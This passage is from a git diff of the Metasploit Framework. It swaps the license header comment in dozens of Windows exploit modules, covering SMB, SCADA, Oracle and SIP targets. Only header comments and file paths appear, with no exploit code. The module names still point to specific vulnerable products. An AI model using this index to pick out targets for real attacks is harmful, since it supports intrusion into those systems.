Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index a860e9ecfe..d3d7ad12e5 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/oracle/osb_ndmp_auth.rb b/modules/exploits/windows/oracle/osb_ndmp_auth.rb index 07ba5bcd0b..cbaecb5730 100644 --- a/modules/exploits/windows/oracle/osb_ndmp_auth.rb +++ b/modules/exploits/windows/oracle/osb_ndmp_auth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb index 048e2f0e5d..378df9dbf8 100644 --- a/modules/exploits/windows/oracle/tns_arguments.rb +++ b/modules/exploits/windows/oracle/tns_arguments.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index 2c644bae2f..3740af9de8 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb index 9c9c3f25dd..42468a055d 100644 --- a/modules/exploits/windows/oracle/tns_service_name.rb +++ b/modules/exploits/windows/oracle/tns_service_name.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/pop3/seattlelab_pass.rb b/modules/exploits/windows/pop3/seattlelab_pass.rb index dadf132544..83c03e0b3f 100644 --- a/modules/exploits/windows/pop3/seattlelab_pass.rb +++ b/modules/exploits/windows/pop3/seattlelab_pass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index c9d9421c5e..216f67b212 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb index 62eb98993d..74fa9fb368 100644 --- a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb +++ b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb index cadda9de39..e4da02825c 100644 --- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb +++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/proxy/proxypro_http_get.rb b/modules/exploits/windows/proxy/proxypro_http_get.rb index 01ed6014b1..668fd9da51 100644 --- a/modules/exploits/windows/proxy/proxypro_http_get.rb +++ b/modules/exploits/windows/proxy/proxypro_http_get.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb index c2cf695b8d..cd52220873 100644 --- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb +++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb index 7c787f6354..709606fcd2 100644 --- a/modules/exploits/windows/scada/citect_scada_odbc.rb +++ b/modules/exploits/windows/scada/citect_scada_odbc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb index c2434218ff..d9d09d1128 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com ## diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index d76691131a..55dc075415 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index d3ea562244..e6af676ceb 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/factorylink_csservice.rb b/modules/exploits/windows/scada/factorylink_csservice.rb index 062e30bd7e..c407ccc27d 100644 --- a/modules/exploits/windows/scada/factorylink_csservice.rb +++ b/modules/exploits/windows/scada/factorylink_csservice.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/factorylink_vrn_09.rb b/modules/exploits/windows/scada/factorylink_vrn_09.rb index 8647115c9e..54a840d8de 100644 --- a/modules/exploits/windows/scada/factorylink_vrn_09.rb +++ b/modules/exploits/windows/scada/factorylink_vrn_09.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/iconics_genbroker.rb b/modules/exploits/windows/scada/iconics_genbroker.rb index e74564d15d..3cee5545e5 100644 --- a/modules/exploits/windows/scada/iconics_genbroker.rb +++ b/modules/exploits/windows/scada/iconics_genbroker.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index 2926fd8f1d..40f493d28c 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb index 60bba75249..4c4aab2aca 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb index 998f50b0a8..1e1c2b963d 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/igss9_misc.rb b/modules/exploits/windows/scada/igss9_misc.rb index 7f10d67925..1e8a14043b 100644 --- a/modules/exploits/windows/scada/igss9_misc.rb +++ b/modules/exploits/windows/scada/igss9_misc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb index d2429de064..cc43b178b6 100644 --- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb +++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index cbb3e42ae6..17fb86e0cb 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb index 0557f9ceb4..9db451612c 100644 --- a/modules/exploits/windows/scada/procyon_core_server.rb +++ b/modules/exploits/windows/scada/procyon_core_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/realwin.rb b/modules/exploits/windows/scada/realwin.rb index 2110d711a3..f527ab26b0 100644 --- a/modules/exploits/windows/scada/realwin.rb +++ b/modules/exploits/windows/scada/realwin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb index f24ec04bce..7be3e9a8a2 100644 --- a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb +++ b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/realwin_on_fcs_login.rb b/modules/exploits/windows/scada/realwin_on_fcs_login.rb index 83da619d17..1560557fd9 100644 --- a/modules/exploits/windows/scada/realwin_on_fcs_login.rb +++ b/modules/exploits/windows/scada/realwin_on_fcs_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize.rb b/modules/exploits/windows/scada/realwin_scpc_initialize.rb index e949857d67..666baacf0f 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb index 91793b9051..0a4b1f9ba7 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb index a7cf17fe72..f1505f26dd 100644 --- a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb +++ b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index aa2d0d385e..2cb98f18fb 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb index 4924bdfe69..aa4537b426 100644 --- a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb +++ b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index de88f443ac..f57cd6f14a 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index 87b7361d85..73ab8fdbb8 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb index f36528f227..54e9046134 100644 --- a/modules/exploits/windows/sip/aim_triton_cseq.rb +++ b/modules/exploits/windows/sip/aim_triton_cseq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/sip/sipxezphone_cseq.rb b/modules/exploits/windows/sip/sipxezphone_cseq.rb index 60756faff6..e3d33e40c1 100644 --- a/modules/exploits/windows/sip/sipxezphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxezphone_cseq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/sip/sipxphone_cseq.rb b/modules/exploits/windows/sip/sipxphone_cseq.rb index 75e5ebf9ac..09e1612b28 100644 --- a/modules/exploits/windows/sip/sipxphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxphone_cseq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb index c21525f8e1..47c95af6c8 100644 --- a/modules/exploits/windows/smb/ms03_049_netapi.rb +++ b/modules/exploits/windows/smb/ms03_049_netapi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 49bf87fa74..439e0d6c3b 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index a04ffca984..6680a7a112 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb index 6ee61034ef..1aa19477de 100644 --- a/modules/exploits/windows/smb/ms04_031_netdde.rb +++ b/modules/exploits/windows/smb/ms04_031_netdde.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb index bc5ca88fab..34a8162902 100644 --- a/modules/exploits/windows/smb/ms05_039_pnp.rb +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb index 0c8088ac13..94997122b2 100644 --- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb +++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index 81ab7a91f5..2e7f8cff6f 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb index d8bc4fa7dc..f323c62764 100644 --- a/modules/exploits/windows/smb/ms06_040_netapi.rb +++ b/modules/exploits/windows/smb/ms06_040_netapi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb index cec7671a33..ab6d374a3f 100644 --- a/modules/exploits/windows/smb/ms06_066_nwapi.rb +++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb index 74b0c051ec..79a0991455 100644 --- a/modules/exploits/windows/smb/ms06_066_nwwks.rb +++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index 32e864f184..dac8657eaf 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb index 112449b449..13d698cbde 100644 --- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 0dad30848f..c97844902e 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb index 7cfdf38fa3..e7164e46c3 100644 --- 